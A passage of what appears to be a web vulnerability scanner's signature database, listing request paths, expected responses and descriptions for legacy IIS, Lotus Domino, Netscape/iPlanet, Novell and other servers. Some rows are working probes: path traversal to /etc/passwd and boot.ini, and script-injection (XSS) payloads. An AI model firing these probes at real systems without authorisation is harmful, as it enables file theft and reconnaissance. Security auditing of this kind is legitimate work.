  1983. "iis","/WebAdmin.dll?View=Logon","200","GET","Some versions of WebAdmin are vulnerable to a remote DoS (not tested). See http://www.ngssoftware.com."
  1984. "iis","/whatever.htr","<html>Error: The requested file could not be found. </html>","GET","Reveals physical path. htr files may also be vulnerable to an off-by-one overflow that allows remote command execution (see MS02-018)"
  1985. "iis","/whatever.htr","200","GET","Reveals physical path. htr files may also be vulnerable to an off-by-one overflow that allows remote command execution (see MS02-018)"
  1986. "iis","/WS_FTP.LOG","200","GET","WS_FTP.LOG file was found. It may contain sensitive information."
  1987. "iplanet","/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv","root:","GET","iPlanet Administration Server 5.1 allows remote users to download any file from the server. Upgrade to SunOne DS5.2 and in iDS5.1 SP2 Hotfix 2." 
  1988. "iplanet","/manual/servlets/scripts/servlet1/servform.htm","invokes a servlet","GET","iPlanet default servlet found. All default code should be removed."
  1989. "iplanet","/manual/servlets/scripts/shoes/shoeform.htm","invokes a jsp","GET","iPlanet default servlet found. All default code should be removed."
  1990. "jeus","/examples/","Servlet Samples","GET","JEUS default servlet example pages present"
  1991. "jeus","/examples/context","Context servlet","GET","JEUS default servlet examples disclose server directory"
  1992. "jeus","/examples/cookie","Cookie servlet","GET","JEUS default servlet examples are vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages. http://securitytracker.com/alerts/2003/Jun/1007004.html"
  1993. "jeus","/examples/forward1","Forward1 servlet","GET","JEUS default servlet example"
  1994. "jeus","/examples/forward2","Forward2 servlet","GET","JEUS default servlet example"
  1995. "jeus","/examples/header","Header servlet","GET","JEUS default servlet example"
  1996. "jeus","/examples/include1","Include1 servlet","GET","JEUS default servlet example"
  1997. "jeus","/examples/info","Info servlet","GET","JEUS default servlet example"
  1998. "jeus","/examples/jsp/index.html","JSP Samples","GET","JEUS default JSP pages present."
  1999. "jeus","/examples/jsp/snp/snoop.jsp","Request Information","GET","Displays information about page retrievals"
  2000. "jeus","/examples/session","Session servlet","GET","JEUS default servlet examples are vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages. http://securitytracker.com/alerts/2003/Jun/1007004.html"
  2001. "jeus","/nosuchurl/><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","JEUS is vulnerable to Cross Site Scripting (XSS) when requesting non-existing JSP pages. http://securitytracker.com/alerts/2003/Jun/1007004.html"
  2002. "jrun","/./","Index of ","GET","Appending '/./' to a directory allows indexing"
  2003. "lotus","@CGIDIRScom5..........................................................................................................................................................................................................................box","Execution of Perl script","GET","Lotus reveals file system paths when requesting DOS devices with bad syntax."
  2004. "lotus","@CGIDIRScom5.java","Execution of","GET","Lotus reveals file system paths when requesting DOS devices with bad syntax."
  2005. "lotus","@CGIDIRScom5.pl","Execution of Perl script","GET","Lotus reveals file system paths when requesting DOS devices with bad syntax."
  2006. "lotus","/?Open","nsf","GET","This displays a list of all databases on the server. Disable this capability via server options."
  2007. "lotus","/?OpenServer","\/icons\/abook\.gif","GET","This install allows remote users to enumerate DB names, see http://www.securiteam.com/securitynews/6W0030U35W.html"
  2008. "lotus","/.nsf/../winnt/win.ini","200","GET","This win.ini file can be downloaded."
  2009. "lotus","/852566C90012664F","200","GET","This database can be read using the replica id without authentication."
  2010. "lotus","/a_domlog.nsf","200","GET","This database can be read without authentication."
  2011. "lotus","/account.nsf","200","GET","This database can be read without authentication. Common database name."
  2012. "lotus","/accounts.nsf","200","GET","This database can be read without authentication. Common database name."
  2013. "lotus","/admin.nsf","200","GET","This database can be read without authentication."
  2014. "lotus","/admin4.nsf","200","GET","This database can be read without authentication."
  2015. "lotus","/admin5.nsf","200","GET","This database can be read without authentication."
  2016. "lotus","/agentrunner.nsf","200","GET","This database can be read without authentication."
  2017. "lotus","/alog.nsf","200","GET","This database can be read without authentication."
  2018. "lotus","/archive/a_domlog.nsf","200","GET","This database can be read without authentication."
  2019. "lotus","/archive/l_domlog.nsf","200","GET","This database can be read without authentication."
  2020. "lotus","/billing.nsf","200","GET","This database can be read without authentication. Common database name."
  2021. "lotus","/bookmark.nsf","200","GET","This database can be read without authentication."
  2022. "lotus","/books.nsf","200","GET","This database can be read without authentication. Common database name."
  2023. "lotus","/busytime.nsf","200","GET","This database can be read without authentication."
  2024. "lotus","/calendar.nsf","200","GET","This database can be read without authentication."
  2025. "lotus","/catalog.nsf","200","GET","A list of server databases can be retrieved, as well as a list of ACLs."
  2026. "lotus","/cersvr.nsf","200","GET","Server certificate data can be accessed remotely."
  2027. "lotus","/certa.nsf","200","GET","This database can be read without authentication."
  2028. "lotus","/certlog.nsf","200","GET","This database can be read without authentication."
  2029. "lotus","/certsrv.nsf","200","GET","This database can be read without authentication."
  2030. "lotus","/cgi-bin/testing_whatever","domino/cgi-bin","GET","The Domino server reveals the system path to the cgi-bin directory by requesting a bogus CGI."
  2031. "lotus","/chatlog.nsf","200","GET","This database can be read without authentication."
  2032. "lotus","/clbusy.nsf","200","GET","This database can be read without authentication."
  2033. "lotus","/cldbdir.nsf","200","GET","This database can be read without authentication."
  2034. "lotus","/clusta4.nsf","200","GET","This database can be read without authentication."
  2035. "lotus","/collect4.nsf","200","GET","This database can be read without authentication."
  2036. "lotus","/cpa.nsf","200","GET","This database can be read without authentication."
  2037. "lotus","/customerdata.nsf","200","GET","This database can be read without authentication. Common database name."
  2038. "lotus","/da.nsf","200","GET","This database can be read without authentication."
  2039. "lotus","/database.nsf","200","GET","This database can be read without authentication, see http://www.perfectotech.com/blackwatchlabs/ for other exploits and details."
  2040. "lotus","/db.nsf","200","GET","This database can be read without authentication."
  2041. "lotus","/dclf.nsf","200","GET","This database can be read without authentication."
  2042. "lotus","/DEASAppDesign.nsf","200","GET","This database can be read without authentication."
  2043. "lotus","/DEASLog.nsf","200","GET","This database can be read without authentication."
  2044. "lotus","/DEASLog01.nsf","200","GET","This database can be read without authentication."
  2045. "lotus","/DEASLog02.nsf","200","GET","This database can be read without authentication."
  2046. "lotus","/DEASLog03.nsf","200","GET","This database can be read without authentication."
  2047. "lotus","/DEASLog04.nsf","200","GET","This database can be read without authentication."
  2048. "lotus","/DEASLog05.nsf","200","GET","This database can be read without authentication."
  2049. "lotus","/decsadm.nsf","200","GET","This database can be read without authentication."
  2050. "lotus","/decsdoc.nsf","200","GET","This database can be read without authentication."
  2051. "lotus","/decslog.nsf","200","GET","This database can be read without authentication."
  2052. "lotus","/DEESAdmin.nsf","200","GET","This database can be read without authentication."
  2053. "lotus","/default.nsf","200","GET","This database can be read without authentication. Common database name."
  2054. "lotus","/dirassist.nsf","200","GET","This database can be read without authentication."
  2055. "lotus","/doc/domguide.nsf","200","GET","This documentation database can be read without authentication."
  2056. "lotus","/doc/dspug.nsf","200","GET","This documentation database can be read without authentication."
  2057. "lotus","/doc/help4.nsf","200","GET","This documentation database can be read without authentication."
  2058. "lotus","/doc/helpadmin.nsf","200","GET","This documentation database can be read without authentication."
  2059. "lotus","/doc/helplt4.nsf","200","GET","This documentation database can be read without authentication."
  2060. "lotus","/doc/internet.nsf","200","GET","This documentation database can be read without authentication."
  2061. "lotus","/doc/javapg.nsf","200","GET","This documentation database can be read without authentication."
  2062. "lotus","/doc/lccon.nsf","200","GET","This documentation database can be read without authentication."
  2063. "lotus","/doc/migrate.nsf","200","GET","This documentation database can be read without authentication."
  2064. "lotus","/doc/npn_admn.nsf","200","GET","This documentation database can be read without authentication."
  2065. "lotus","/doc/npn_rn.nsf","200","GET","This documentation database can be read without authentication."
  2066. "lotus","/doc/readmec.nsf","200","GET","This documentation database can be read without authentication."
  2067. "lotus","/doc/readmes.nsf","200","GET","This documentation database can be read without authentication."
  2068. "lotus","/doc/smhelp.nsf","200","GET","This documentation database can be read without authentication."
  2069. "lotus","/doc/srvinst.nsf","200","GET","This documentation database can be read without authentication."
  2070. "lotus","/doladmin.nsf","200","GET","This database can be read without authentication."
  2071. "lotus","/dols_help.nsf","200","GET","This database can be read without authentication."
  2072. "lotus","/domadmin.nsf","200","GET","This database can be read without authentication."
  2073. "lotus","/domcfg.nsf","200","GET","This database can be read without authentication."
  2074. "lotus","/domguide.nsf","200","GET","This documentation database can be read without authentication."
  2075. "lotus","/domlog.nsf","200","GET","The domain server logs can be accessed remotely."
  2076. "lotus","/dspug.nsf","200","GET","This documentation database can be read without authentication."
  2077. "lotus","/event.nsf","200","GET","This database can be read without authentication."
  2078. "lotus","/events.nsf","200","GET","This database can be read without authentication."
  2079. "lotus","/events4.nsf","200","GET","The events log can be accessed remotely."
  2080. "lotus","/events5.nsf","200","GET","This database can be read without authentication."
  2081. "lotus","/group.nsf","200","GET","This database can be read without authentication. Common database name."
  2082. "lotus","/groups.nsf","200","GET","This database can be read without authentication. Common database name."
  2083. "lotus","/help/domguide.nsf","200","GET","This documentation database can be read without authentication."
  2084. "lotus","/help/dspug.nsf","200","GET","This documentation database can be read without authentication."
  2085. "lotus","/help/help4.nsf","200","GET","This documentation database can be read without authentication."
  2086. "lotus","/help/helpadmin.nsf","200","GET","This documentation database can be read without authentication."
  2087. "lotus","/help/helplt4.nsf","200","GET","This documentation database can be read without authentication."
  2088. "lotus","/help/internet.nsf","200","GET","This documentation database can be read without authentication."
  2089. "lotus","/help/javapg.nsf","200","GET","This documentation database can be read without authentication."
  2090. "lotus","/help/lccon.nsf","200","GET","This documentation database can be read without authentication."
  2091. "lotus","/help/migrate.nsf","200","GET","This documentation database can be read without authentication."
  2092. "lotus","/help/npn_admn.nsf","200","GET","This documentation database can be read without authentication."
  2093. "lotus","/help/npn_rn.nsf","200","GET","This documentation database can be read without authentication."
  2094. "lotus","/help/readmec.nsf","200","GET","This documentation database can be read without authentication."
  2095. "lotus","/help/readmes.nsf","200","GET","This documentation database can be read without authentication."
  2096. "lotus","/help/smhelp.nsf","200","GET","This documentation database can be read without authentication."
  2097. "lotus","/help/srvinst.nsf","200","GET","This documentation database can be read without authentication."
  2098. "lotus","/help4.nsf","200","GET","This documentation database can be read without authentication."
  2099. "lotus","/help5_admin.nsf","200","GET","This database can be read without authentication."
  2100. "lotus","/help5_client.nsf","200","GET","This database can be read without authentication."
  2101. "lotus","/help5_designer.nsf","200","GET","This database can be read without authentication."
  2102. "lotus","/helpadmin.nsf","200","GET","This documentation database can be read without authentication."
  2103. "lotus","/helplt4.nsf","200","GET","This documentation database can be read without authentication."
  2104. "lotus","/hidden.nsf","200","GET","This database can be read withoutauthentication. Common database name."
  2105. "lotus","/homepage.nsf","200","GET","This database can be read without authentication."
  2106. "lotus","/iNotes/Forms5.nsf","200","GET","This database can be read without authentication."
  2107. "lotus","/iNotes/Forms5.nsf/$DefaultNav","200","GET","This database can be read without authentication."
  2108. "lotus","/internet.nsf","200","GET","This documentation database can be read without authentication."
  2109. "lotus","/javapg.nsf","200","GET","This documentation database can be read without authentication."
  2110. "lotus","/jotter.nsf","200","GET","This database can be read without authentication."
  2111. "lotus","/kbccv11.nsf","200","GET","This database can be read without authentication."
  2112. "lotus","/kbnv11.nsf","200","GET","This database can be read without authentication."
  2113. "lotus","/kbssvv11.nsf","200","GET","This database can be read without authentication."
  2114. "lotus","/l_domlog.nsf","200","GET","This database can be read without authentication."
  2115. "lotus","/lccon.nsf","200","GET","This documentation database can be read without authentication."
  2116. "lotus","/lcon.nsf","200","GET","This database can be read without authentication."
  2117. "lotus","/ldap.nsf","200","GET","This database can be read without authentication. Common database name."
  2118. "lotus","/leiadm.nsf","200","GET","This database can be read without authentication."
  2119. "lotus","/leilog.nsf","200","GET","This database can be read without authentication."
  2120. "lotus","/leivlt.nsf","200","GET","This database can be read without authentication."
  2121. "lotus","/log.nsf","200","GET","The server log is remotely accessible."
  2122. "lotus","/log4a.nsf","200","GET","This database can be read without authentication."
  2123. "lotus","/lsxlc.nsf","200","GET","This database can be read without authentication."
  2124. "lotus","/mab.nsf","200","GET","This database can be read without authentication."
  2125. "lotus","/mail.box","200","GET","The mail database can be read without authentication."
  2126. "lotus","/mail/adminisist.nsf","200","GET","This database can be read without authentication."
  2127. "lotus","/mail1.box","200","GET","This database can be read without authentication."
  2128. "lotus","/mail10.box","200","GET","This database can be read without authentication."
  2129. "lotus","/mail2.box","200","GET","This database can be read without authentication."
  2130. "lotus","/mail3.box","200","GET","This database can be read without authentication."
  2131. "lotus","/mail4.box","200","GET","This database can be read without authentication."
  2132. "lotus","/mail5.box","200","GET","This database can be read without authentication."
  2133. "lotus","/mail6.box","200","GET","This database can be read without authentication."
  2134. "lotus","/mail7.box","200","GET","This database can be read without authentication."
  2135. "lotus","/mail8.box","200","GET","This database can be read without authentication."
  2136. "lotus","/mail9.box","200","GET","This database can be read without authentication."
  2137. "lotus","/mailw46.nsf","200","GET","This database can be read without authentication."
  2138. "lotus","/migrate.nsf","200","GET","This documentation database can be read without authentication."
  2139. "lotus","/msdwda.nsf","200","GET","This database can be read without authentication."
  2140. "lotus","/mtatbls.nsf","200","GET","This database can be read without authentication."
  2141. "lotus","/mtdata/mtstore.nsf","200","GET","This database can be read without authentication."
  2142. "lotus","/mtstore.nsf","200","GET","This database can be read without authentication."
  2143. "lotus","/names.nsf","200","GET","User names and groups can be accessed remotely (possibly password hashes a well)"
  2144. "lotus","/nntp/nd000000.nsf","200","GET","This database can be read without authentication."
  2145. "lotus","/nntp/nd000001.nsf","200","GET","This database can be read without authentication."
  2146. "lotus","/nntp/nd000002.nsf","200","GET","This database can be read without authentication."
  2147. "lotus","/nntp/nd000003.nsf","200","GET","This database can be read without authentication."
  2148. "lotus","/nntp/nd000004.nsf","200","GET","This database can be read without authentication."
  2149. "lotus","/nntppost.nsf","200","GET","This database can be read without authentication."
  2150. "lotus","/notes.nsf","200","GET","This database can be read without authentication. Common database name."
  2151. "lotus","/npn_admn.nsf","200","GET","This documentation database can be read without authentication."
  2152. "lotus","/npn_rn.nsf","200","GET","This documentation database can be read without authentication."
  2153. "lotus","/ntsync4.nsf","200","GET","This database can be read without authentication."
  2154. "lotus","/ntsync45.nsf","200","GET","This database can be read without authentication."
  2155. "lotus","/open?","200","GET","The Lotus server allows directory browsing by putting ?open after a directory name."
  2156. "lotus","/perweb.nsf","200","GET","This database can be read without authentication."
  2157. "lotus","/private.nsf","200","GET","This database can be read without authentication. Common database name."
  2158. "lotus","/public.nsf","200","GET","This database can be read without authentication. Common database name."
  2159. "lotus","/qpadmin.nsf","200","GET","This database can be read without authentication."
  2160. "lotus","/quickplace/quickplace/main.nsf","200","GET","This database can be read without authentication."
  2161. "lotus","/quickstart/qstart50.nsf","200","GET","This database can be read without authentication."
  2162. "lotus","/quickstart/wwsample.nsf","200","GET","This database can be read without authentication."
  2163. "lotus","/readme.nsf","200","GET","This database can be read without authentication."
  2164. "lotus","/readmec.nsf","200","GET","This documentation database can be read without authentication."
  2165. "lotus","/readmes.nsf","200","GET","This documentation database can be read without authentication."
  2166. "lotus","/reports.nsf","200","GET","This database can be read without authentication."
  2167. "lotus","/sample/faqw46","200","GET","This database can be read without authentication."
  2168. "lotus","/sample/framew46","200","GET","This database can be read without authentication."
  2169. "lotus","/sample/pagesw46","200","GET","This database can be read without authentication."
  2170. "lotus","/sample/siregw46","200","GET","This database can be read without authentication."
  2171. "lotus","/sample/site1w4646","200","GET","This database can be read without authentication."
  2172. "lotus","/sample/site2w4646","200","GET","This database can be read without authentication."
  2173. "lotus","/sample/site3w4646","200","GET","This database can be read without authentication."
  2174. "lotus","/schema50.nsf","200","GET","This database can be read without authentication."
  2175. "lotus","/secret.nsf","200","GET","This database can be read without authentication. Common database name."
  2176. "lotus","/setup.nsf","200","GET","The server can be configured remotely, or current setup can be downloaded."
  2177. "lotus","/setupweb.nsf","200","GET","This database can be read without authentication."
  2178. "lotus","/smbcfg.nsf","200","GET","This database can be read without authentication."
  2179. "lotus","/smconf.nsf","200","GET","This database can be read without authentication."
  2180. "lotus","/smency.nsf","200","GET","This database can be read without authentication."
  2181. "lotus","/smhelp.nsf","200","GET","This documentation database can be read without authentication."
  2182. "lotus","/smmsg.nsf","200","GET","This database can be read without authentication."
  2183. "lotus","/smquar.nsf","200","GET","This database can be read without authentication."
  2184. "lotus","/smsolar.nsf","200","GET","This database can be read without authentication."
  2185. "lotus","/smtime.nsf","200","GET","This database can be read without authentication."
  2186. "lotus","/smtp.box","200","GET","This database can be read without authentication."
  2187. "lotus","/smtp.nsf","200","GET","This database can be read without authentication."
  2188. "lotus","/smtpibwq.nsf","200","GET","This database can be read without authentication."
  2189. "lotus","/smtpobwq.nsf","200","GET","This database can be read without authentication."
  2190. "lotus","/smtptbls.nsf","200","GET","This database can be read without authentication."
  2191. "lotus","/smvlog.nsf","200","GET","This database can be read without authentication."
  2192. "lotus","/software.nsf","200","GET","This database can be read without authentication. Common database name."
  2193. "lotus","/srvinst.nsf","200","GET","This documentation database can be read without authentication."
  2194. "lotus","/srvnam.htm","200","GET","This database can be read without authentication."
  2195. "lotus","/statmail.nsf","200","GET","This database can be read without authentication."
  2196. "lotus","/statrep.nsf","200","GET","Any reports generated by the admins can be retrieved."
  2197. "lotus","/stauths.nsf","200","GET","This database can be read without authentication."
  2198. "lotus","/stautht.nsf","200","GET","This database can be read without authentication."
  2199. "lotus","/stconf.nsf","200","GET","This database can be read without authentication."
  2200. "lotus","/stconfig.nsf","200","GET","This database can be read without authentication."
  2201. "lotus","/stdnaset.nsf","200","GET","This database can be read without authentication."
  2202. "lotus","/stdomino.nsf","200","GET","This database can be read without authentication."
  2203. "lotus","/stlog.nsf","200","GET","This database can be read without authentication."
  2204. "lotus","/streg.nsf","200","GET","This database can be read without authentication."
  2205. "lotus","/stsrc.nsf","200","GET","This database can be read without authentication."
  2206. "lotus","/test.nsf","200","GET","This database can be read without authentication. Common database name."
  2207. "lotus","/today.nsf","200","GET","This database can be read without authentication."
  2208. "lotus","/userreg.nsf","200","GET","This database can be read without authentication."
  2209. "lotus","/users.nsf","200","GET","This database can be read without authentication. Common database name."
  2210. "lotus","/vpuserinfo.nsf","200","GET","This database can be read without authentication."
  2211. "lotus","/web.nsf","200","GET","This database can be read without authentication."
  2212. "lotus","/webadmin.nsf","200","GET","The server admin database can be accessed remotely."
  2213. "lotus","/webuser.nsf","200","GET","This database can be read without authentication."
  2214. "lotus","/welcome.nsf","200","GET","This database can be read without authentication. Common database name."
  2215. "lotus","/wksinst.nsf","200","GET","This database can be read without authentication."
  2216. "mipcd","/LOGIN.PWD","200","GET","MIPCD password file (passwords are not encrypted). MIPDCD should not have the web interface enabled."
  2217. "mipcd","/USER/CONFIG.AP","200","GET","MIPCD configuration information. MIPCD should not have the web interface enabled."
  2218. "msmfc","/surf/scwebusers","200","GET","SurfControl SuperScout Web Reports Server user and password file is available. CAN-2002-0705."
  2219. "mycio","/.../.../.../","Last Modified","GET","The myCIO server allows directory traversal."
  2220. "mywebserver","/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--//--","<script>alert('Vulnerable')</script>","GET","MyWebServer 1.0.2 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  2221. "mywebserver","/JUNK(223)<font%20size=50>DEFACED<!--//--","DEFACED","GET","MyWebServer 1.0.2 is vulnerable to HTML injection. Upgrade to a later version."
  2222. "mywebserver","/MWS/HandleSearch.html?searchTarget=test&B1=Submit","200","GET","MyWebServer 1.0.2 may be vulnerable to a buffer overflow (untested). Upgrade to a later version if 990b of searched data crashes the server."
  2223. "ncsa","@CGIDIRSarchie","200","GET","Gateway to the unix command, may be able to submit extra commands"
  2224. "ncsa","@CGIDIRScalendar.pl","200","GET","Gateway to the unix command, may be able to submit extra command...yet another check"
  2225. "ncsa","@CGIDIRScalendar","200","GET","Gateway to the unix command, may be able to submit extra commands"
  2226. "ncsa","@CGIDIRSdate","200","GET","Gateway to the unix command, may be able to submit extra commands"
  2227. "ncsa","@CGIDIRSfinger","200","GET","Gateway to the unix command, may be able to submit extra commands"
  2228. "ncsa","@CGIDIRSfortune","200","GET","Gateway to the unix command, may be able to submit extra commands"
  2229. "ncsa","@CGIDIRSjj","200","GET","Allows attackers to execute commands as http daemon"
  2230. "ncsa","@CGIDIRSmail","200","GET","Simple PERL mailing script to send form data to a pre-configured email address"
  2231. "ncsa","@CGIDIRSnph-error.pl","200","GET","Gives more information in error messages"
  2232. "ncsa","@CGIDIRSpost-query","200","POST","Echoes back result of your POST"
  2233. "ncsa","@CGIDIRSquery","200","GET","Echoes back result of your GET"
  2234. "ncsa","@CGIDIRSredirect","200","GET","Redirects via URL from form"
  2235. "ncsa","@CGIDIRStest-cgi.tcl","200","GET","May echo environment variables or give directory listings"
  2236. "ncsa","@CGIDIRStest-env","200","GET","May echo environment variables or give directory listings"
  2237. "ncsa","@CGIDIRSuptime","200","GET","Gateway to the unix command, may be able to submit extra commands"
  2238. "ncsa","@CGIDIRSwais.pl","200","GET","Gateway to the unix command, may be able to submit extra commands"
  2239. "netscape","@CGIDIRS.nsconfig","200","GET","Contains authorization information"
  2240. "netscape","/_vti_pvt/administrators.pwd","200","GET","these contain passwords encrypted with unix crypt()"
  2241. "netscape","/_vti_pvt/authors.pwd","200","GET","these contain passwords encrypted with unix crypt()"
  2242. "netscape","/_vti_pvt/users.pwd","200","GET","these contain passwords encrypted with unix crypt()"
  2243. "netscape","/?PageServices","Index of ","GET","The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. CVE-1999-0269."
  2244. "netscape","/?wp-cs-dump","Index of ","GET","The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. CVE-1999-0269."
  2245. "netscape","/.nsconfig","200","GET","Contains authorization information"
  2246. "netscape","/.perf","ListenSocket","GET","Contains Netscape/iPlanet server performance information"
  2247. "netscape","/","Index of ","get","Fasttrack can give a directory listing if issued 'get' instead of 'GET'."
  2248. "netscape","/","Index of ","INDEX","Netscape web publisher can give directory listings with the INDEX tag. Disable INDEX or Web Publisher."
  2249. "netscape","//","Proxy autoconfig","GET","Proxy auto configuration file retrieved."
  2250. "netscape","/admin-serv/config/admpw","200","GET","This file contains the encrypted Netscape admin password. It should not be accessible via the web."
  2251. "netscape","/help/contents.htm","200","GET","Default Netscape manual found. All default pages should be removed."
  2252. "netscape","/help/home.html","200","GET","Default Netscape manual found. All default pages should be removed."
  2253. "netscape","/manual/ag/esperfrm.htm","200","GET","Default Netscape manual found. All default pages should be removed."
  2254. "netscape","/mc-icons/","Index of","GET","Default Netscape/iPlanet ns-icons and mc-icons are present. Edit the obj.conf and remove them. All default files should be removed."
  2255. "netscape","/nethome/","200","GET","Netscape Enterprise Server default doc/manual directory. Reveals server path at bottom of page."
  2256. "netscape","/ns-icons/","Index of","GET","Default Netscape/iPlanet ns-icons and mc-icons are present. Edit the obj.conf and remove them. All default files should be removed."
  2257. "netscape","/PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd","root:","GET","This default Netscape file allows an attacker to read arbitrary files on the host. It should be removed."
  2258. "netscape","/publisher/","200","GET","Netscape Enterprise Server with Web Publishing can allow attackers to edit web pages and/or list arbitrary directories via Java applet. CVE-2000-0237."
  2259. "netscape","/search?NS-query-pat=../../../../../../../../../../etc/passwd","root:","GET","The iPlanet server allows arbitrary files to be retrieved through the search functionality. Install 4.1 SP10+ or 6.0 SP3+"
  2260. "netscape","/search?NS-query-pat=..\..\..\..\..\..\..\..\..\..\boot.ini","boot loader","GET","The iPlanet server allows arbitrary files to be retrieved through the search functionality. Install 4.1 SP10+ or 6.0 SP3+"
  2261. "netscape","/search","search-ui/applet","GET","Netscape search for iPlanet versions 4.1 lower than SP 10 and iPlanet 6 lower than SP 3 are vulnerable to a buffer overflow which could allow remote command execution or DoS. Search is enabled on this server but the BO could not be confirmed. CVE-2001-0746. BID-2732."
  2262. "netscape","/search/inc/","Index of","GET","Sun One 6.1 search is enabled. Directory indexing is enabled."
  2263. "novell","@CGIDIRSGW5/GWWEB.EXE?HELP=somewhereovertherainbow","200","GET","The Gwweb.exe program can allow attackers to view arbitrary files on the server."
  2264. "novell","/cgi-bin/GW5/GWWEB.EXE?GET-CONTEXT&HTMLVER=AAA","SYS:","GET","Some Netware web servers reveal the system path to files when unexpected arguments are sent to CGI."
  2265. "novell","/cgi-bin/GW5/GWWEB.EXE","200","GET","Groupwise web interface"
  2266. "novell","/com/novell/gwmonitor/help/en/default.htm","200","GET","Netware gateway monitor access documentation found. All default documentation should be removed from web servers."
  2267. "novell","/com/novell/webaccess/help/en/default.htm","200","GET","Netware web access documentation found. All default documentation should be removed from web servers."
  2268. "novell","/com/novell/webpublisher/help/en/default.htm","200","GET","Netware web publisher documentation found. All default documentation should be removed from web servers."
  2269. "novell","/lcgi/lcgitest.nlm","200","GET","Novell web server shows the server environment"
  2270. "novell","/lcgi/ndsobj.nlm","SCRIPT_NAME","GET","Novell Netware 5.1 contains a buffer overflow, also, if Groupwise is enabled remote enumeration of users, groups and system information might be possible (CAN-2001-1233)"
  2271. "novell","/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/jabber/comment2.jse+/system/autoexec.ncf","SET CLIENT FILE","GET","Default scripts can allow arbitrary access to the host."
  2272. "novell","/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse","SERVER_SOFTWARE","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
  2273. "novell","/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/autoexec.ncf","Source for file","GET","Novell web server allows any file on the system to viewed through the viewcode.jsp file"
  2274. "novell","/lcgi/sys:/novonyx/suitespot/docs/sewse/misc/test.jse","SCRIPT_NAME","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
  2275. "novell","/netbasic/websinfo.bas","Company","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
  2276. "novell","/nsn/..%5Cutil/attrib.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2277. "novell","/nsn/..%5Cutil/chkvol.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2278. "novell","/nsn/..%5Cutil/copy.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2279. "novell","/nsn/..%5Cutil/del.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2280. "novell","/nsn/..%5Cutil/dir.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2281. "novell","/nsn/..%5Cutil/dsbrowse.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2282. "novell","/nsn/..%5Cutil/glist.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2283. "novell","/nsn/..%5Cutil/lancard.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2284. "novell","/nsn/..%5Cutil/md.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2285. "novell","/nsn/..%5Cutil/rd.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2286. "novell","/nsn/..%5Cutil/ren.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2287. "novell","/nsn/..%5Cutil/send.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2288. "novell","/nsn/..%5Cutil/set.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2289. "novell","/nsn/..%5Cutil/slist.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2290. "novell","/nsn/..%5Cutil/type.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2291. "novell","/nsn/..%5Cutil/userlist.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2292. "novell","/nsn/..%5Cweb/env.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2293. "novell","/nsn/..%5Cweb/fdir.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2294. "novell","/nsn/..%5Cwebdemo/env.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2295. "novell","/nsn/..%5Cwebdemo/fdir.bas","200","GET","Netbase util access is possible which means that several utility scripts might be run (including directory listings, NDS tree enumeration and running .bas files on server"
  2296. "novell","/nsn/env.bas","200","GET","Novell web server shows the server environment and is vulnerable to cross-side scripting"
  2297. "novell","/nsn/fdir.bas:ShowVolume","200","GET","You can use ShowVolume and ShowDirectory directly on the Novell server (NW5.1) to view the filesystem without having to log in"
  2298. "novell","/nsn/fdir.bas","200","GET","You can use fdir to ShowVolume and ShowDirectory."
  2299. "novell","/perl/-e%20print%20Hello","200","GET","The PERL interpreter on the novell system may allow any command to be executed. See BID-5520. Installing Perl 5.6 might fix this issue."
  2300. "novell","/perl/env.pl","HSERVER_SOFTWARE","GET","Novell Netware 5.1 contains Novonyx default files which reveal system information. All default files should be removed."
